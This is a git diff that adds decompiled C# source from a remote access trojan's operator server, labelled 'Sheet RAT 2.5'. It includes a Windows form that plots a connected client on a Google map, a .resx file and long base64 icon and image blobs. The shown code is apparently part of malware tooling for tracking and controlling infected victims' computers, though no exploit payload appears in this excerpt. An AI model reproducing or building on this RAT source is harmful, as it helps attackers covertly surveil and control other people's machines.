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 + + \ No newline at end of file diff --git a/Server/Server/Forms/FormMap.cs b/Server/Server/Forms/FormMap.cs new file mode 100644 index 0000000..108fd7f --- /dev/null +++ b/Server/Server/Forms/FormMap.cs @@ -0,0 +1,104 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Forms.FormMap +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using GMap.NET; +using GMap.NET.MapProviders; +using GMap.NET.WindowsForms; +using MetroFramework; +using MetroFramework.Forms; +using Server.Connection; +using Server.Helper.Configs.Themes; +using System; +using System.Windows.Forms; +using System.ComponentModel; +using System.Drawing; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Forms { + +public class FormMap : MetroForm +{ + public Clients ParrentClient; + private IContainer components; + public Timer timer1; + public GMapControl gMapControl1; + + public FormMap() => this.InitializeComponent(); + + private void FormShell_Load(object sender, EventArgs e) + { + this.gMapControl1.DragButton = MouseButtons.Left; + this.gMapControl1.MapProvider = (GMapProvider) GMapProviders.GoogleMap; + if (Customs.customs.Theme != MetroThemeStyle.Dark) + this.Theme = Customs.customs.Theme; + if (Customs.customs.Style == MetroColorStyle.Lime) + return; + this.Style = Customs.customs.Style; + } + + private void timer1_Tick(object sender, EventArgs e) + { + if (this.ParrentClient.Connect) + return; + this.Close(); + } + + protected override void Dispose(bool disposing) + { + if (disposing && this.components != null) + this.components.Dispose(); + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.components = (IContainer) new System.ComponentModel.Container(); + ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (FormMap)); + this.timer1 = new Timer(this.components); + this.gMapControl1 = new GMapControl(); + this.SuspendLayout(); + this.timer1.Interval = 1000; + this.timer1.Tick += new EventHandler(this.timer1_Tick); + this.gMapControl1.Anchor = AnchorStyles.Top | AnchorStyles.Bottom | AnchorStyles.Left | AnchorStyles.Right; + this.gMapControl1.Bearing = 0.0f; + this.gMapControl1.CanDragMap = true; + this.gMapControl1.EmptyTileColor = Color.FromArgb(17, 17, 17); + this.gMapControl1.GrayScaleMode = false; + this.gMapControl1.HelperLineOption = HelperLineOptions.DontShow; + this.gMapControl1.LevelsKeepInMemmory = 5; + this.gMapControl1.Location = new Point(23, 63 /*0x3F*/); + this.gMapControl1.MarkersEnabled = true; + this.gMapControl1.MaxZoom = 15; + this.gMapControl1.MinZoom = 5; + this.gMapControl1.MouseWheelZoomEnabled = true; + this.gMapControl1.MouseWheelZoomType = MouseWheelZoomType.MousePositionAndCenter; + this.gMapControl1.Name = "gMapControl1"; + this.gMapControl1.NegativeMode = true; + this.gMapControl1.PolygonsEnabled = true; + this.gMapControl1.RetryLoadTile = 0; + this.gMapControl1.RoutesEnabled = true; + this.gMapControl1.ScaleMode = ScaleModes.Integer; + this.gMapControl1.SelectedAreaFillColor = Color.FromArgb(33, 65, 105, 225); + this.gMapControl1.ShowTileGridLines = false; + this.gMapControl1.Size = new Size(943, 456); + this.gMapControl1.TabIndex = 0; + this.gMapControl1.Zoom = 15.0; + this.AutoScaleDimensions = new SizeF(6f, 13f); + this.AutoScaleMode = AutoScaleMode.Font; + this.ClientSize = new Size(989, 542); + this.Controls.Add((Control) this.gMapControl1); + this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon"); + this.Name = nameof (FormMap); + this.Style = MetroColorStyle.Lime; + this.Text = "Map"; + this.TextAlign = MetroFormTextAlign.Center; + this.Theme = MetroThemeStyle.Dark; + this.Load += new EventHandler(this.FormShell_Load); + this.ResumeLayout(false); + } +} +} diff --git a/Server/Server/Forms/FormMap.resx b/Server/Server/Forms/FormMap.resx new file mode 100644 index 0000000..a567bcf --- /dev/null +++ b/Server/Server/Forms/FormMap.resx @@ -0,0 +1,123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 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